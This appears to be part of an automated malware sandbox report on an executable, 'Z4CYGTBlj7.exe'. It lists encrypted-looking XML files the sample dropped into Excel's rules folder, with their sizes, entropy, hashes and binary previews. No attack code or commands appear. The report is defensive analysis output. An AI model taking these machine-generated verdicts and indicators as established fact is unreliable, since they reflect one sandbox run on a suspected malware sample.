Preview:	<?xml...k.86.....1...D^=.._.W.......1......E.x..f....0..j.O..w.T.6......C.\|.r.U.........=I9...)...`.5..he...Yk..$.}..=..$ .y..A:$v5....t.I.&H..LY&..H.W.o....e.c. 2..h...'..B.0...2....5,.F...s.t.P.7`.e....F...;.C........R...u..m.H..W....5.<p.k."..u..c..@....$.JC<7.LBA.H.......z...@h.Z.~....Q]if.T.5E.ve........1.~.\.;]5~......;...>.,..M.P.,......g..j..Da....0...1...).../.)..u=.v..{.B^w....9...V.......).....2_HY<....N...L....OQ<&...E IZ......c.....z.....`..SR..D..H...Q.K.._G.... w...Gi....2g..o^5.....&.?.....&B...4.x.....4...H..L...S.........c....'`{... <..\..q..nF$G..<.gJ. \|x..{y.I...A..v..Y.}.\..C...<g....y...M....)..,iKh.-...L.md....U.....zZBv.W..c.e.....>.r.K1.upG'........U.U.F{,.-B.e..;..a]....l...k..>..A.gfW.!..f.>.t..V7.......7...4.J.n...y .#..x.g......../..6..L9M...!....V..E.....6b....".tv.....0].Z..........7...Q.U...{.a,Z.8..kK...v.-...Z.V....Z\I......./N..UJ....2...=#X.N..&..3...TF!E...[..{.......... ........RRzY....mq,....5..v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.882130619681201
Encrypted:	false
SSDEEP:	48:SnNv05OTb4H4kVCZVUJ6MiUc2qdQ8skAHbgZnmD:sN05OTd510xQQ3HER+
MD5:	4CDDBBD81398F2179D5B7D549121C619
SHA1:	97443DE4E912A9039FF3C6935E8138CB96813F98
SHA-256:	73A0574C01A4C0635B5444F712462E4A0EFFA035278D86EC798AADB0F80127FC
SHA-512:	9153EEBCD4E42DC9DC9F16DA32E85261FD4AACF8AC0EA5AE88AA6721CA6F1CCB63ED927024EAF0B7D83E630AF47D9B5151DB43CF34630D0416F0D0C62CA9017A
Malicious:	false
Preview:	<?xmlC&..l.N1.Wb.e.Y...I....`.].A..........{".~V.1..Ar..:.....@....8._.{..i.Pa/.N.s.;.t....w.R.8>...e>...K)a...F<._...U.\.=....C%gL.@j..Y<1...6.n\|U.6.\|..V..0.^.v8zmy.Na....+....;..w.....t.....~tj.J..Y..+g..,\|E......c...;V..j.....#.g.0.....a.....a.!.]..\|..m..$..y........-.!.$Q.~...H......-..XU...Zd.oV.t...F.pQ.O.....%J.Bq.S.iV..e.0....~.s....B..:p.L.hRYv.%.F..w...0w..f;.C~.1\.....@7.>5.5.^\..s..........r..m.mF...-Fp.!A.JI..'r.B.t....#.wE..m.Z.@.6y_...6@Zx.^b}......o.,.E............j4..oRY....#`...>.i.phy.,={.......3.^.2e(..v.&..q...x...t".W.=.l..Y..WY..k>."."...D..3..o~..6.;;..1....N.W.}......U..7:...r...d..c....'.&S......0....K..\|QM.PzH.....~..s..1&....6.TT....e\g..e..\|..m...:E...X.dJ&b....x .1..{..D....SF.Z.....FF....;.......D&.:M..............X..I....%%......Ej.1..f.Y...\.?...v..n...0......q....b.h{.@C.Q..._..@(q.\|5E..UW.V..V....O!.F..Y......>..c..`........&.5....5..b'..Y..x]...o...+..G)..?..S<$..g..........E.....:.4\.x/.....oM...9w.....Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.878931494324571
Encrypted:	false
SSDEEP:	48:Y7UhjCd298EGK4qp8uMSVFxFQIuhhomCOnWZ5fRmD:00AkBGK4qp8WjFru7ps5fR+
MD5:	6C5214120ECED4D303A652F9D273E948
SHA1:	1DBFDE91A68F60109EB49333BABEADFD9089678E
SHA-256:	646B1D016B2EBAD23ECC0BC37B9F154D17BC046DB6D811B7DC4ED56FB42DB122
SHA-512:	55F6894B30BDDBF816FCA936F2543605AD5759F777C8E20D544BC7D33434D60C0050B7950D30818D8385E49F057EA97F0A9F24F3EA022E7F0A14F14EB1D88B6A
Malicious:	false
Preview:	<?xml.M..z..a....M.....`.....(.M..1a......y..{..-.,...'...-(..X^`.F5J<..q..').6.q..}.n.=.6.n.k..<..q.DNuo.n,..84......T...f...X .L.....l.......o..k0UW...J...P@J..M0..Q.A.oQ Yr].%UQ.:..p.`.%.g..mec'..t.AF...D.W.;.>U.'j..W..c.!g.h..........Q1.oQ..p%...J..@ef..G. =Ol).(0.t.......w..i..Jx.P...j.-....Ak...{...l0.+u..fN...w...g.$.........7.sS..+D.3.iU....1..a....~....4..a.]w".`...lgw..pZ..'.E(...WX...E..&...........H_...v..>..f."..C..na@.}2...+m.....K.......k....N.3.v..2_....T[..6(...,p.....+.7(tUo..x...}...3F..=...-.....#..lNJL...o.{..m...A....6.z...0.v...Y......xQ.`3P.H........auF.bUI.+..Ugy.?Oi.\..+jm.......?..O...bd1.D...u.u..m4...../..#..3.Df.._..3"..P..8.M./g.y.Y..$.#.pr.Q.Z...F...x..Z.v..Gk .@Z1$......J.S....L...1.aG.;..;........F`.~k...Lg.......9qI5.%..^l...d...I+..S....,[.6..N..zsK..Pm.G+..,t=.........qaqK.....Ge..Yl.V....5...p..>P..N..R<Q...g..T#........U~sd'..j..7V.........;.w?....".....c.G.(x...%RI..7c U2.dY.....;?cy+..."..L`.Z.A....3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.89878142866155
Encrypted:	false
SSDEEP:	48:Hn4pXSYpbUC10WVTAW30TKnkXExQDWn75N+R7TmD:YfpAc0We8maJndN+p+
MD5:	BD92A550E9A37A88948B360632AB58C0
SHA1:	5132D34420ABE63B37D121A4634ECC413EA037A5
SHA-256:	9116265D45F18171481D5AEAB203E9AFC15729334B04FAC132A928D3986F06DB
SHA-512:	2B939D6D22966D4C8EF037E8DD43079986C7663065173D5BEC68DFEE84826480E953BF93EE04FDBB2BAF592DE6B99E131EAB398220A76F51E176DA1C690CFDC5
Malicious:	false
Preview:	<?xml......}.GA.....?l.i }p<lx..3....!1.r ..g%j.2.g...v..~7.....!..I...P... .(.p.9....>......T...(.T....O..u.......EU$.....@..5..m3.I.Q....$..<... ....T..V.\|..<..%.E.U..r.s...L...O..!T.N.g2a.x.'De.`...gR........f...;.4....moqG..%.K:..........i........,..Zj..?.G........3.yaz...I....dW....&1y.?......!..\|VYj.bd.s.fw&.1.].Z....s7..g........o 7_cV./'.._..}..,.....a2...i\0>n.*...@.Cu..1..q......T.....$/.B.....fC.3..)..Ve.(.....S..(qZ(u..,kl.sFy..i...^.. ..>.Y....AQ..<..2X...TN.....B.x.sON.V.$G).q.3.^0..,3.X.4..B....O.p]..t.......H...U....H.........U... ...d;..N..B...EM.t...@.!...&.o.B[\+..0]..U..D.....0..Hw..O..:n4....5....k._Wu"A....'{....i.....N....p..iZ........:D.3.4.J.'L...~@.Ik.u.f..C..LmL."l..+.=.L...D..A...<XZ...@f.w...\.U..O..G<6..._..2......VjCo...:....7.B#.!S.v .\..pI...z_........cT.......N .K.`^.....l...8../h.-... ..b.Z.Y..f...u...,4m&.Q.F..O.+;..19...W.G.......t3.w.i.........~....C..W..y'>LB5...;JU.#.~&...}...7o..n..c....R.,a.1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.881146755365615
Encrypted:	false
SSDEEP:	48:AG8lL0gBqcUAWs4iePne2rug+xnqsdOX7IDmD:bYLvQ1ZiSe2C1naLw+
MD5:	E1708932F86D33F47855324AB8D1F73E
SHA1:	99661C1F68D9BC2157386BAA5F68322E44A8D741
SHA-256:	7714144D27FDE4AB7A1248713A298499A7D808D50FA867BD44F2E51361F2411C
SHA-512:	4134038C292D9D700284C6A3F6121C1719B90FF21193BE6BECE300657C7E71A26B65DB73BAAA997580E6F6FC48C1A11AF6B7DF1DFBA0548156664973EB8E939F
Malicious:	false
Preview:	<?xml}.6UKEgz(RX......s$...k".X.....t.l...U..@C...M:b8...I...v@...5T..Z:.....L.....r``Np.....$...l>?.......e....Xx...,....$. G..d7b....$.T.D.Y.....%.z.q(...S->..,....k.=......,.y..)_.[...f..L......]...6k.jk...Y..3#......&.f....../$7.o/.. 7p..bC.k....\|.n..6....u...~$RM.....S.N.:O..A3L...%..>.X.H.."d.?U./~.&.} R.zk...:G3....@...R.!...ZA4N...[.....W...$.>....`"'..x. K5.h.O...-..Of.K..t.....#..\v...T{..3.. ...)W.;,szg..}<UcT....i..!...6..;..x......w.".k.Vi.((?M.t..j../.....0....P.JG..g......l.Y.n.q..f#}?.eq....9.F..%N+...+...1.ry8.8.....s..R.:1jm.X..:....:H.u.Pl...7t%F.Z..[B.b.%C..Y....=.1e..),.0..3.R.@G...`....N.%....,\\|i...{.@.Q.cU...;.....D.Z;...b..)..w...[....~...z/.P.5...6..w.:..}....Z.^..I.fn.....H.C.S...l...o..y..Bu.-.[..0.s.M...nS.....b...J..<q.J...c..g..s....x...$.z...A.....Dm..#....-.....4..%....}....<.9..a...+Lh..r:6..S+....e.2`.....L.V....*x...!..U..L. ...MFGRD...,w.y^..^8.E.k.,...u.^..P..J>.....N.s.2.n."....k..X.5RX.0.H...$.;..m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.881173181232421
Encrypted:	false
SSDEEP:	48:EY6ta+atx2pjiydT7aXx2bjaV97fpG2mD:ua+KwVF+x2HaVlpD+
MD5:	56B7FAED585A666E2F4E3B5C4273A058
SHA1:	F4A57AFB74BA3BF1AC0D34A4B058AF9E84C7831F
SHA-256:	A91105CC4440F289BAA3E9EF019AA31ACCC6B24F6C71A9591B36E98EDE13191A
SHA-512:	CDE7187466E9B61730D4B0AAF0373C7321DD5323EE12CD37171725DC0BC6E4B9CBEF4ABA26B7483BDCBF2A68F67C7022BC9DD51719F20B755E4C669DAFE49908
Malicious:	false
Preview:	<?xml1.U.gq.X...1<..?(_...X.r.....d......9M4..Klk..K....U.....U.$..h..D.I..B.'p.k.Q.k....X.{.x..(..`..@%....sU....,".......%.}.P.G.P.......Xh..hm`.;..ng..i,.g.m.[@N.`....E >.rW<.Ui...(.../.....UJf..FZ...._.L..-.v...7M..`...\@...S.?....y...... .e.-..&5.z.e..`..o..?[p.+.T-W\4.v-...4.M2..>.~.#wH.K.c.....C/.......hlz.....t......O.y9.se..e..wN.I.A5w!3.O.u~.....t_..>j\..2..Q..,X....Q.2g.+..].C]........]X.AL0$.u..'6..B/.....qS......~d..K....q.p.1v...sP.......v.)u........B.\.U.....s.. .5......6.q........./.y."d.U........>......$.?..G.%!Zk.r.$.......x.=....;.........ET.47qm..M...?S.......F..wX.Fqi...e........Ly....x.o6j.~.?l...S....t5.zi\8^....S."R.%4K.?.4P..f./..>....b.X.{w.o.......{...L.H.....0......~i.i.l.....&...&.J.f.<l.@wh+T...~-......uMt...1...i..8.^.!7..n.~....U6.u..<.!...Sj..Y.X".q....\|.....5UO..&....0....u.dTS...@.....&.;>.(.g. mF...#T...hfM.g..W.H.D&.+.\|.VJ.H.?.B.....e...v{^.vS.l..K.].am.{S.......s.v.+H..S4....H....\.'....{C...d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.870185644342141
Encrypted:	false
SSDEEP:	48:ESbMHrBGDv6fp7Z6XeQjQyPHW8T5h7a/sTOLmD:RWi8p16j5/TRiL+
MD5:	F3D478357B0F5BD87952D41E9301C98D
SHA1:	F1DC48EAC3C7C33D700075E6DF7DC5D6657D2024
SHA-256:	AB18939AB98C243CA4DB59C43727DB68F9289DFF2940A54E9050D39A0E34E4BE
SHA-512:	77C8609CCC20E2376A2C4B13456CDE93DDB2735B6EC03838F3A6C863CAD7C031C67ACEA12E30D1582C21FFF5E9EAE7E233098B8676A68DB8195830480432C353
Malicious:	false
Preview:	<?xml......#O9..{..nsZ.....(c.{".w7.vv...+9..'..]N..g.#.EK...).......9.F.h6hQ...z.#.E.u........qU,..q..)}.9.G...SXU.[O.G.F>..w8.3...NU.JP..w...H.[.1.)..=&i.K...Q...-.\|....b........,8.m.)...~.....A...lq...;..p....1V...d...,-Q..`.../...h".U..k{.-.....s.bT.t>5B....._.....p.f....6.wM....8H.nj.B..?..%(.j...../...!..,.G-.=.r.....'.Sk.h....^.._n..\|m...p`.FWA@.rS..._.&.nU.a/O...`r.s.S..900.>...Z.j...Q.8..%.x.1?..(P.J.uV.8.o?N.....G8..mE...?O.. ...eW...B.wI.............../.......Jb.2..V.....k.I.t::..f.]q.4a...4...qV.g.....)..e........H....<...Df.z...;.......c.<..gH.l...x.....%......y...\`"%{5.._&..L.G.w..8........[.k....b.}eIg-......l...U.k\...n.77...(U.}b..#p".wt..m......2t...1...P=.O.Hi....y?.r..;..X.....Y..p....L..V.]O..I...y.&_._o$V.ZaM(..z....}.uc.....8...r.8.).<Q..}.....x...>.f.L.!J...+..D...w..~..r(.)O.B....[.Rc.w..;.5..=.lp...y\| q(.[\zN..1......b.O....J..p...[......7....#S.....3.......{..N+\|{t.........".A.=.V..."...%...I..S.5.L...~...D...#`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.877954880592973
Encrypted:	false
SSDEEP:	48:rPyO3h3pxWkVIB+44Axzy36RHB9rFwDtbMcSqmD:bz3h3pEv+HAxOKR/ODWcN+
MD5:	4D447A2558E03BEE3FE0771A22C3ED15
SHA1:	20EC52BE63F83ADFCAD1AD95E2D8B12275C8E2C7
SHA-256:	A9654C5B07000F106D790108F000D2DE6433D52000293467A47AD6920481FD49
SHA-512:	FA51DBF13CA8EDC7152754EAB57AE3B15FDCF0337757C75D583FAD46B7C6BDACF690F899F1AFA58FDA159CDE37233EA37903FFDC046EA4ADAD57677A32136F88
Malicious:	false
Preview:	<?xml..c......&...W.mScrm.X..$.......v43YUw........;b]=).7P....]....\...pbc..-9..Kn.Y...9..E>y.:........W@.b{......8Y.6....x.-&cl$.`..9.zd!Is.(.......F.....g..................>....L.?..[e.......VF..&.0C..q.....J.j.. ...4`..l.@.d....o1..t.w....^.......7+...A..>.3...>`7[$.j.&.d g...d..=.W....[2......V....+.=...l!.r..p~{._}...;>)..C\|.....n.....2..a\.k6...>.=...S...s@..W.H..y.u......-.8...?8.9........T.Li].... V...#U..........P..5..U.[p..yJ..G\>.....wB.w.<..W. .t^..n.s.1...{Q81`...w.....mS.$.e..s.J.1:...?...(......O4...7q.S........<..0..H...@.+A..H....I...z..B.+...9.._..@..a.Q.Y..]..~v).R.#..i..@.<.\.d.....7.JL..s. ...P'..S..h...Pw....&...T..s;]:.:"...r..y....p......'.\|...%t.....#.&{..u~..d..;=.X..P.......P.U..9@..1....VG..)+.V.8.Xx.D.<..5^\.....~AR....0..$Px.d..'.0...i..2\|.K.{1..&..Re....cO..BQ.:...Y.'VJR...*.9..y...e.i.w.g..GR..qd..Mf.u.%~<6.Z.....Rq"g.U..L....e..w..i8rs..[f@oc-73.......G..B....5.p....^<.~.;.b....D..U.\z......{....{0.'.]v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.87937523313351
Encrypted:	false
SSDEEP:	48:vka0Ks2Zakow3NoaJhfefASLNoWZwULxBF/hVm1mD:vj0KbZSw3NpJhfGPXrLxBBh01+
MD5:	2F1DC5917C80101454EDE76E87ADF4D5
SHA1:	1518CFCE278A90E4F3798907D8C8CDE27C0C1952
SHA-256:	AFDBDD7436B85F5EE6A5574F2A8A13AA0D16258D915E6B50233604B2D0390A64
SHA-512:	91C0847FBD7E95FF8B2DCC83A53A54D284DFEF6151DE5FBD0F1281D178E1E40442AE6BD1C8ADDB4E7495CD67D72CAD9C0F120A706049558DC4053EC800C6C2A7
Malicious:	false
Preview:	<?xml'.]F...pM.&..\B.4.. ...!$.N.....A.._z.("..es..~^QX.Rf.:! .s(y#k>.xA......._....m......Iji.8es.W.:WH.7x.."l.w....)hT...+.5u.>.H....@...x....!......3../..g..\QX...@.......v.......j..Z.......N7..lYl(.....tR..C....!h.%.!8v.-~J.....m.,E.s........J#A..[...{1.c..m.zJdoWt.?2.t.S{.U.... .iy......9".B.qX.I+.e..s...E+.9...dZ\|.......'..[.m?].?.....\|..~....k...e.Q.7.,...L...u...O.......)..,.k`=...4.<.g.Nq].+H@w.\|+3h......\M.......M..}y....NKA.].....~.....}...Z6..H.....F..T.....w..<.h{.{....,.....Y.j1S8..N...Yzv(9o^.a9c.....4.JS... >....F../...hj...S....%.Ab.{56....`..."...U......W.m..0...o.zAR...u..I10^.]K_:>....U.....^...v..7.....:....7PX..l....m.%......j!0@a...\|5y.....4R0. 6....d._.d<U...=F5.Y..6.,V.?...\I..7....a.?...........%..}.b....\].AB}.............W+.............n.... :g.O'#....a.../!..-s.<51........Ygc......b=M[.<.Ww..u...Q..@...:..L5W.r.Lzg.V..b..+.bM*.O-.8.B..G&..3..V.B.......yG....!3.........!.\P.....Y...#.g....G..Fs..?.[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.876143888409632
Encrypted:	false
SSDEEP:	48:ynd10ffdJp9sg4gy624mtJCGndMzklxpWafmD:yndCfFJpL4624c4WdMzor1f+
MD5:	125ECA1F8F8F709B2D09755F7664780F
SHA1:	49D6395821FB5511907C5960E01681F7F614AB44
SHA-256:	5B5ADA3031435FF6EC42A4EA29D319F0A66F5CD579CBF74E03709535B385A63C
SHA-512:	D2B397B68E93CEC81B941952CF43681CEE50130DC84E794037E0305F1A4BA34C32DBADD2ADEB1633E7A1F6F90442C3BF850F74C221F45CE6B0E678ABB2867E20
Malicious:	false
Preview:	<?xml.R..^R.N..S.1.3Z...._..yN...31.kB..=L.k.kx4..x...U=.^.'S.x6....1........y\=.j..Bn/h..E...m.]7!....%....bi2.....v.>...e.\+......R.m....~b{....}..)~Nt.G...q.u.q\|.R...}....H78]...H..:'..v...Mu[....\|x..<@Q.79r....@.'........ .F=q..Y ..-.J<2..-.i+d...y.Ba.^.n...(*.Q....=.+.~...o1.....G/&,u....k....Ib....b..lk'f...D..%O..H(x.Q7.\..P........3{....\?..N...h.....:w.....4u...j\|.-..0.[..6.X...=....y.X.r.@.qI....,.r.9;e:..8...J^.j..u.....(w.T..I.f.....3Lp..8..G...L..k.(.......0Ks.0...W.6.2%...P.....cFk)....:.@.........;E9.\.:.F.y.8..UZ.WA...[....fK.X.C.[6..l.Wjox\j..D...y.l..&.z.R...>Y.8..?I....1r.-.-.P`_.\..&...nn.B..f.q.2w......)Rf.{j..=$eA".BX..+...F+.._O.k{.F.!..O_...&..T.7c.....x..9......v....s..##.m..Z..8.Z.....{.Ib.t U.P\|.+.G..W5...j..~(V...\|......I..S ..N.}..#...#J.("..%..c.^.4.\|..~.....n!9..8..L..J...0O......JK....p...../..1.h\.n..J.oB..L.....{.$..'.....o..dW...g...oY..^).e<K.....I6..W/..CC....D6......=.......?.[M...I.....t<.3f%.!YH.,...y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.892403849019531
Encrypted:	false
SSDEEP:	24:pgPnYHf1JoCntJA81xtlZTak+S4aABWTiZjNSMwHMyyEh4k1GWCD7M6NuyTlGAUX:pjLtdRalS4hwiJeR1GWCMGuy7diUmD
MD5:	1E733E92CBD298E7A3CEE214B282EDAA
SHA1:	BDA4AAE09CA237EEDE2CFC1AD55CD932A2220280
SHA-256:	A2A10A1737BDCB849587D53284B0AB016FE616B1183721484CF41A4670A68BFE
SHA-512:	DDD47D74949AE90D88F92188BEF8ACDD8757377E45656D3B25DC9649268BD3D581A829EC5DA5DE764132A23EB373A7B30A509376304CA58313A7EF908F5ED64E
Malicious:	false
Preview:	<?xml...c.L.03.\...EG'5..7..5.c...a......P.ito.J.M._U..}dQ..F....). ?..Q.})..<...p.!.p..1..W...a.Q...f.2c..^....@`gj.?..+.....b....?..DM.Z..5..#..1.I .<.D..c.....%..t.1 )Ft.P%~..~R]T...U...&....1x>4<'..LVK%.(O.LKD....FY.<.v,kOQ.#....(...v.7/o<.Q..h..7..ca.)..(..V..7..Ba..X..t.A.}.&{].'...cq.G.D...,..t..$........=......m.0....y....`..q.....A.q^.2.KN`..+.../a....bC.....%.:...$.U....Z9/$C.(`..:._......n..H..)1.7....3.>..e.l]m\|......j..~p....<.........oi.....!......+.....$.N...pL.".<.;,+...Ny...p:.....<...2....;.n....2dJ..[.....%1...1.^..?...)..1.B...>j...\|..!...X....5....i...O.......\...K..Vm@sWTV....m.g....>..A.Z.~@....=.........#....b.....H...=...~d......F..4.....q..0......2..1..W.J..;..L(.[2.j."............ .....3k4..M..b,Y..u.2O.1."...wD..u...o.,L.#S...+...&U\.d..>..<.V.B.X.n.]s..T.....D....$p.@...[..p................Hi.$....>...[..D!:`"(..B\.e.G..A....8..V.P...$.6)&-.4...7M.a....R.....#..g......I#..j..!..c.~.`}v.7.\..+!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.889028984908993
Encrypted:	false
SSDEEP:	24:3LZ1QBCX5OKKMVL3TbnJFTgh3kE2flnuV7D2sPzYvOQTuWi7nk4AEfsbD:3LXQ+ZDbJFTykEAlnuVeeaToY4AAmD
MD5:	473995B315E00E02CEFE6BB4A3940944
SHA1:	6044C181B9E2CB4F8432DF35FBBB4C9ED8EF204F
SHA-256:	7860D7BB37314A848D270727FC25BDFC59CEB159B66E9D9A284B228366D1C75D
SHA-512:	31120E63ACD25A32371368E1B9D77CDAF5BF9020372C90D1180E1648ECC09192F72B2958071E08E8061DD1CFF1F36A2DB56BDE329B9488DFB210CABE52CD6D6A
Malicious:	false
Preview:	<?xmlH......e[Dy......B..!..V.....{...Y....R.IX..#.3......}......u...$f..._<D.^Ztp`..pe....G3f.Yk...7..,j.R..^....j.!..%..M...r..A0j!p..2.zC..@.j.J..#..;.W.{.c...1...2.=.h[...5.y.1....$U...D.m.V1....(H...Lt......(....u...p...b.`37P.{.r..`...1&..q...v.\..%........=.}8?...x.&..nE_.s.9w...$.A3.9.....b.._.=.`.........~S......5W{u4.;D..G.Z.tF.~?.T.....y=D.qxt...........oq.......I.G.A.n.d[....g....u.p.!.#.L..........a....{...`...-..%......9....F..%.....\|f..+~....I.}..c....K...0 Bi8H..n...J....R..Es....C...r9...J.'.Q.O.n.W......+[7.9.....1j...e..]..... ...&X,I]L...".L..)-A..D._i.i..H ...v.u{..o8\.6<;...........n.\.......e.....q./.`3AB.v>.\..F?...6....nwA[...$.tO...}}.U.........<....I.C.7......>.A...b....^5.....{9.t.9.b...9..gjZ.)$?o..5..P...r..1.E'nW..._...;Z..I. ....G.N.../nV.[...._..y....{....:n.'..7.M...nU..c....Y.h.Y..\..5.Mc...0Bi........W.k.d.."i..@..T...'.p..@....$...Sx.G.}..m..i_......xr(.3.....J......[?.z_,..K..x..].0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.886608686178689
Encrypted:	false
SSDEEP:	24:+Uevha0iqX7Qdm9O+0l1VAgzywSP2lQ2J9ovGTGC/VQLeVXm4ylv68tjLsbD:FevSqXqmc1jzhSPaQ2a23/1YlQqjLmD
MD5:	63502E57600F64993C45F53163975C65
SHA1:	7279A2C31360B1AD76C51B3A603965A0A4784EFD
SHA-256:	7DABFC9C262F54BB8550E285F2DBCBE777DBDF08F57D7CFE765C4281E0D51B2C
SHA-512:	60256FF34F18B8FEDBFC8C3A0C32FF7A806F1C7889D216DF5219AD53251AF70C7C9EA9A9251E22C11FC40B19414C4CED5D0B06C7C8F7812BB59269114B00C131
Malicious:	false
Preview:	<?xml...=.%M."4.E......R..,.... /...9.'.Z+.[...d...-{.UR...F.....V.ti.t^6...9...\|.."9....c..t.i.%...A...F..sBb..(m....V.B.6.FD.a/......w.{`.O...+Y4....w..md......S..E...x......j.x.].F^n....:....~.~..tW....@.%.........s...../.^.....5$.....]%...E..V%eJ$f(.Hqy.....Y)...../.H...... ..m.[L.0)..P~^..qcB.MN.4..v.......$.....H.z...q.T2>J6&F.cn.rc..p@b............e..{..<...z..L..S..".Q..n(l$.+,z.2..I#.....h.M.J.Zpg.R...)6.B.>`.Y...4.v{).....v.e.......0....6.. ....DOx.H...S.....\|...m.R...!.../o...Q.yG..ja.....tx...,.....Y.....~o..F.....N....=.V>.../......b.B)F......vnN.l.e......w..6z...%.\V.....3AB.....wA&.l.D....Z.S...b...14.......d....m.$`....v..?.&..O%.........6.@kN_}.@h..Y$.ZN:6<.:..C..>@..S............b..p.I..V.tB.B.o.V.^.).-..>.2'.}...[.......aP.)....8Y.W0...D.}N.^..).7RS...c..Vi/.......X..v..wl.-.J.1...LY..Dn<....7.E9...s....._..4...i....vd.....;..,.Q.s.W.,c.m.@.=?..}..(.....Lj.....z}r..4...=r..[......y.t..V.<.^.....8Wi7..i.jQ.c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.855733812543383
Encrypted:	false
SSDEEP:	24:0kAjluy1HK1DJ1Ug2dDdj/dfZ/TF62vunjirVu+AQ8EAi4vKziTdJgqsbD:DI0H1twdjVhR9aOrAh1i4TTdJgqmD
MD5:	561ADD1E768CBB0E4E60918DB7F17148
SHA1:	ABBCD4039AEC825D36C547161F8A38FBD3217423
SHA-256:	6FDC2BF7E224D7248273D6112397E9CECA6657E27C511FA8688B769DAD00E9C0
SHA-512:	D8C024A9111A3755BAC971587AB4B31C6FBF06AB027D73653A2761647BEB65829A442E44714B86301157DCCF29F69BAB69D3E199D8DDDE9100B734EDA9D03C52
Malicious:	false
Preview:	<?xml..}(........j.3...=.!U.u.;.K.n.....W...,.c....`.n"1,.....I.?Q....#......{ANDl....G.V}\..`.N..t..jjD..7.uMz.I...F...r...g.o..8!....(h....9...`.z8y.v.l4...=.K.;.....H...&.........]A.O3.......^..i...NL.^.p...I..K.p..'.59p...=8N.c.k.kTDX../W.#..giv.IU..m9...e.P,r...5\|....v8...P.....X..T.0!....\|/...C.....yL...[...6.?..I..m....oq.oU......@..\|.a.R..q.j....y...C....w......b...+..N....<K...y.cfL9.T.......#.]{.........k...^>..L..x.L..UBk....^1..-..C..6..Y\.......,...kK.n....O..C.x...uj"... .O^{........g57$...0.5e......x..ra..$.&)..=.....nI'O. .:..........{.l...~la...`{<..v....`D.6..q4Xn...E..r.yu.i..:U.e.....4..%....3..<hfd].S....A.sMeUG.lvS).E.<.{.H9....S.......a............~.~i...z...........KN.......=j4..k..1....b......eM.r.Lh...j.}...^..ER....,.Q...%.a.........,...B..z.Z......-.R..7.!..l..F....d.b.F...>.?.K..B.....$}......U.-.U....gk.\..m.,h..@.I.:.'.+..S....d....D../UKR=j..O.U.p......$.>xh...x.._....(..".s..S...d...c4.$n.nD...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.910433996121374
Encrypted:	false
SSDEEP:	48:FOUrwREQvc3JbuUgXLMh1WRC64ZjkXKU3NpAYzFWBfmHfTXiykYA237mD:F1cRENZ5gbMWR0RkhNSYhF/TX5A2L+
MD5:	D7B9EF22AB4A1AB5C56C9FF61B083CE4
SHA1:	E26F647F4AB0C4FEECDB99D155C2494F095D99ED
SHA-256:	FF2A61D42CF4E49F26FD8178DC073EFB630D49DFFAFF41EF0C8B7B27C5B12553
SHA-512:	354B4A350A69D9FFF265C0B56EB49B8A8418D19D4917FD1438A4F7001279F190D2C3CAE10A15E78988E458328BA8E3E620C0F724A8424C36BE1DCAC450BB9B8E
Malicious:	false
